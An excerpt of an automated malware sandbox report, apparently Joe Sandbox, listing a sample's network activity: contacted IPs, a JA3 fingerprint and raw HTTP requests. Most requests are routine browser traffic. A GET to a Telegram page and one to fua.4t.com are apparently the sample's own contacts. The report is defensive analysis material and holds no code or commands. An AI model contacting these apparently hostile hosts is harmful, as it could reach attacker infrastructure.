Source: Joe Sandbox View	IP Address: 20.189.173.9 20.189.173.9
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.21.226
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.66.133
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.21.226
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.21.226
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.21.226
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.66.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.9
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.9
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.39
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.72.20

Source: global traffic	HTTP traffic detected: GET /g02f04 HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0Host: fua.4t.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.cbc392ebb3b4e3b9c755.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.4sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=1D0ECCD37A754FF28B0C2F0E3C1CD4BF.RefC=2025-02-26T00:49:16Z; USRLOC=; MUID=19864E076BCC62AD0BBF5B986ACB63EF; MUIDB=19864E076BCC62AD0BBF5B986ACB63EF; _EDGE_S=F=1&SID=24B708AE644C67BA3F141D31652166F9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.96ac23719317b1928681.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.4sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=1D0ECCD37A754FF28B0C2F0E3C1CD4BF.RefC=2025-02-26T00:49:16Z; USRLOC=; MUID=19864E076BCC62AD0BBF5B986ACB63EF; MUIDB=19864E076BCC62AD0BBF5B986ACB63EF; _EDGE_S=F=1&SID=24B708AE644C67BA3F141D31652166F9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.bd02dd0f5f9b69ef8b17.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.974be19b726ee5d36d07.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.e407aa81c62081bf13cf.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.03034e8cce25cc183275.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/ASuc5ohcoRYyASTWkAI21BvR0f-Aos7pzgW3GtD8ImYoX-O9Pl77join3GT-5wpD1vT_nG6xpJ0eds7JOZacv0OYNfBAee3mKSnMDx3-YDnz3J7UxfHM_wfhsyHz9Z8rajAAxlKa5T9frrLlN0KHGfJRu7Y7NseNtZ_M/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_89_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=19864E076BCC62AD0BBF5B986ACB63EF; _EDGE_S=F=1&SID=24B708AE644C67BA3F141D31652166F9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1740530960851&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=19864E076BCC62AD0BBF5B986ACB63EF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1740530960850&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1d0eccd37a754ff28b0c2f0e3c1cd4bf&activityId=1d0eccd37a754ff28b0c2f0e3c1cd4bf&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=19864E076BCC62AD0BBF5B986ACB63EF; _EDGE_S=F=1&SID=24B708AE644C67BA3F141D31652166F9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1740530960851&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=19864E076BCC62AD0BBF5B986ACB63EF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1D5e388f3ca1de63639a3641740530962; XID=1D5e388f3ca1de63639a3641740530962
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 5.9sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 250sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=1D0ECCD37A754FF28B0C2F0E3C1CD4BF.RefC=2025-02-26T00:49:16Z; USRLOC=; MUID=19864E076BCC62AD0BBF5B986ACB63EF; MUIDB=19864E076BCC62AD0BBF5B986ACB63EF; _EDGE_S=F=1&SID=24B708AE644C67BA3F141D31652166F9; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=fb900a6e-b203-45ea-b20d-0e86cdf173e7; ai_session=mRynN21M9j8iDHA7f/7gOu\|1740530960846\|1740530960846; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=1D0ECCD37A754FF28B0C2F0E3C1CD4BF.RefC=2025-02-26T00:49:16Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":29,"imageId":"BB1msOZa","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=1D0ECCD37A754FF28B0C2F0E3C1CD4BF.RefC=2025-02-26T00:49:16Z; USRLOC=; MUID=19864E076BCC62AD0BBF5B986ACB63EF; MUIDB=19864E076BCC62AD0BBF5B986ACB63EF; _EDGE_S=F=1&SID=24B708AE644C67BA3F141D31652166F9; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=fb900a6e-b203-45ea-b20d-0e86cdf173e7; ai_session=mRynN21M9j8iDHA7f/7gOu\|1740530960846\|1740530960846; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=1D0ECCD37A754FF28B0C2F0E3C1CD4BF.RefC=2025-02-26T00:49:16Z
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1740530960850&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1d0eccd37a754ff28b0c2f0e3c1cd4bf&activityId=1d0eccd37a754ff28b0c2f0e3c1cd4bf&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B39669277CC0429C8ACD112E36742257&MUID=19864E076BCC62AD0BBF5B986ACB63EF HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=19864E076BCC62AD0BBF5B986ACB63EF; _EDGE_S=F=1&SID=24B708AE644C67BA3F141D31652166F9; _EDGE_V=1; SM=T; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D

Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log0.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log0.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log0.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428016329.00001344005E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
